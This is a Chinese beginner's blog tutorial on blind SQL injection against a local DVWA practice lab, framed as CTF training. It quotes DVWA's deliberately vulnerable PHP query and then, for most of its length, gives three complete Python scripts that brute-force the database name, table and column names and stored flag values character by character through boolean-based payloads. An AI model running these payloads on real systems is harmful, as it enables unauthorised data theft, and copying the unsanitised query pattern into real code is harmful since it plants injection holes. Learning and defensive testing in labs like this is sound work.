SQL注入:
SQL盲注:
根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
(1)对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
(2)对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
(3)对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
SQL盲注的测试过程与DVWA的普通SQL Injection操作流程类似,大致测试流程如下:
在CTF中里,python脚本中最基本的就是requests库的使用,本文不过多介绍其使用方法,可参考以下官方文档,讲的很详细:快速上手——requests以及高级用法——request
1.为了更贴近CTF比赛的模式,因此在dvwa的数据库中加入了flag,最终脚本的结果也是爆出flag
2.加了两个flag是为了更好体现脚本的功能
经过简单的测试之后发现,页面只会出现两种回显,即
User ID exists in the database.
和
User ID is MISSING from the database.
构造User ID取值的语句 | 回显结果 |
---|---|
1 | exists |
’ | MISSING |
1 and 1=1 # | exists |
1 and 1=2 # | exists |
1’ and 1=1 # | exists |
1’ and 1=2 # | MISSING |
因为本文主要目的为脚本的编写,因此查看源码:
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
脚本中所用到的SQL语句与dvwa前面非盲注时语句差不多,可参考:dvwa之SQL注入(1)
(1)脚本一:爆库名、表个数、表名
我这里写的脚本是将当前数据库的所有表名都跑出来,实际在CTF比赛中,为节约时间可以不必这么做,因为一般包含flag的表名都会有特殊含义,只需要知道包含flag的表名即可。
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import requests
# 脚本里用到的参数
# databaseLen 库名长度
# databse_name 库名
# tableNum 表的数量
# tableLen 表名长度
# table_name 表名
s = requests.Session()
url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'
# 这里为节约时间只包含小写字母与数字,实际可能还有大写字母与符号
headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 1.先爆破库名的长度,以提高后续循环的效率,也可以不爆破长度,直接爆破名称(只要循环数大于长度)
for j in range(1,50):
databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#'
# 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的
if 'User ID exists in the database.' in s.get(url+databaseLen_payload, headers=headers).text:
databaseLen = j
break
print('database_lenth: '+str(databaseLen))
# 2.爆库名
databse_name = ''
for j in range(1,databaseLen+1):
for i in payloads:
databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+databse_payload, headers=headers).text:
databse_name += i
print('database_name: '+databse_name)
# 3.爆破表的个数
for j in range(1,50):
tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+tableNum_payload, headers=headers).text:
tableNum = j
break
print('tableNum: '+str(tableNum))
# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0,tableNum):
table_name = ''
for i in range(1,50):
tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
# 用法substr('This is a test', 6) 返回'is a test'
if 'User ID exists in the database.' in s.get(url+tableLen_payload, headers=headers).text:
tableLen = i
print('table'+str(j+1)+'_length: '+str(tableLen))
# (2)内部循环爆破每个表的表名
for m in range(1,tableLen+1):
for n in payloads: # i在上个循环用过了
table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text:
table_name += n
print('table'+str(j+1)+'_name: '+table_name)
脚本一的运行结果如下:
(2)脚本二:爆列名
由脚本一得到的结果,很显然flag应该在‘flagishere’表中,因此脚本二只是针对此表来跑出其中所有的列名。
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 根据上个脚本得到的结果,此脚本用来跑出'flagishere'表中的字段
import requests
s = requests.Session() # 保持回话
url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'
headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 1.判断flgishere表中字段数目
columnNum = 0
for j in range(50):
columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'flagishere\')='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnNum_payload, headers=headers).text:
columnNum = j
break
print('columnNum: '+str(columnNum))
# 2.爆出每个字段名的长度
for j in range(0,columnNum):
column_name = ''
for i in range(1,50):
columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnLen_payload, headers=headers).text:
columnLen = i
print('column'+str(j+1)+'_length: '+str(columnLen))
# (2)内部循环爆破每个表的表名
for m in range(1,columnLen+1):
for n in payloads: # i在上个循环用过了
column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+column_payload, headers=headers).text:
column_name += n
print('column'+str(j+1)+'_name: '+column_name)
脚本二运行结果如下:
(3)脚本三:爆字段内容
由脚本二的结果得知,真正的flag应该在’flagishere’表中的’flag’列下,所有脚本三就跑出该列下每条记录的值,也就是最终的flag(这里为了展示脚本可以爆多条记录的功能,所以自己设置了两个flag)
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 根据上个脚本得到的结果,此脚本用来跑出'flagishere'表中的字段名为'flag'
# 所以此脚本用来爆破flag字段中的内容
import requests
s = requests.Session() # 保持回话
url = 'http://localhost:8081/dvwa/vulnerabilities/sqli_blind/'
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890\{\}'
headers = {'Cookie': 'security=low; PHPSESSID=cv0csro3c3kk4o03dia88nopc0'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 判断flag字段中记录(行)数量
rowNum = 0
for j in range(50):
rowNum_payload = '?id=1\' and (select count(*) from flagishere)='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
rowNum = j
print("row_number: "+str(rowNum))
# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for j in range(0,rowNum+1):
rowContent = ''
for i in range(50):
#rowLen_payload = '?id=1\' and length(substr(select flag from flagishere limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
rowLen_payload = '?id=1\' and length(substr((select flag from flagishere limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:
rowLen = i
print('row'+str(j+1)+'_length: '+str(rowLen))
#爆出个字段内容
for m in range(1,rowLen+1):
for n in payloads:
rowContent_payload = '?id=1\' and substr((select flag from flagishere limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
rowContent += n
print('row'+str(j+1)+'_content: '+rowContent)
由于是刚入门的小白,各方面都在起步之中,还有许多需要继续努学习的,尤其要提高自己的代码编写能力,关于sql注入的学习也还会继续。